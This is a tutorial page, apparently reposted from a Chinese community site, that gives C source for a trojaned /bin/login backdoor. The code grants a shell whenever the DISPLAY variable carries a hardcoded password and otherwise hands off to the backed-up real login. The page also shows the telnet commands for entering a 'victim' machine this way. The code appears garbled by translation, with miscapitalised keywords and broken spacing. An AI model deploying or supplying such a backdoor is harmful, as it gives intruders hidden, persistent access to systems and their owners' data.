Linux simple backdoor login implementation-Linux general technology-Linux programming and kernel information. The following is a detailed description. Back up the original/bin/login and use your own backdoor program to replace/bin/login. When a user logs on via telnet, a Shell is directly obtained by passing the correct backdoor password through the environment variable or terminal type. If the user logs on as a normal user, the Shell is redirected to the original login file, to process normal logon.
The simplest login backdoor ulogin. c source code is as follows:
Instance: login Backdoor
/****************/
# Include
# Define PASSWORD "passWORD"
# Define _ PATH_LOGIN "/sbin/logins" // here "/sbin/logins" is used to back up the original "/bin/login ", after the program is compiled, it will be replaced with "/bin/login"
Main (argc, argv, envp)
Int argc;
Char ** argv, ** envp;
{
Char * display = getenv ("DISPLAY ");
If (display = NULL) {// if it is NULL, log on normally and use the backup "/sbin/logins" to process the request.
Execve (_ PATH_LOGIN, argv, envp );
Perror (_ PATH_LOGIN );
Exit (1 );
}
If (! Strcmp (display, PASSWORD) {// check whether the PASSWORD is correct. If the PASSWORD is correct, the user logs on. Otherwise, the user logs on normally.
System ("/bin/csh"); // directly start csh, you can also use bash
Exit (1 );
}
Execve (_ PATH_LOGIN, argv, envp); // log on normally
Exit (1 );
}
/*********************/
Use a backdoor to log on
The premise is that the Peer machine has been replaced and backed up "/bin/login" to "/sbin/logins", and the Telnet service is enabled. Then run the following command on the machine:
/************************/
Bash $ export DISPLAY = passWORD
Bash $ telnet victim.com
Trying xxx. xxx...
Connected to victim.com (xxx. xxx ).
Escape character is '^]'.
$
/*************************/
In addition, the strings command can print the printable strings in binary files, such as "strings/bin/login"
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service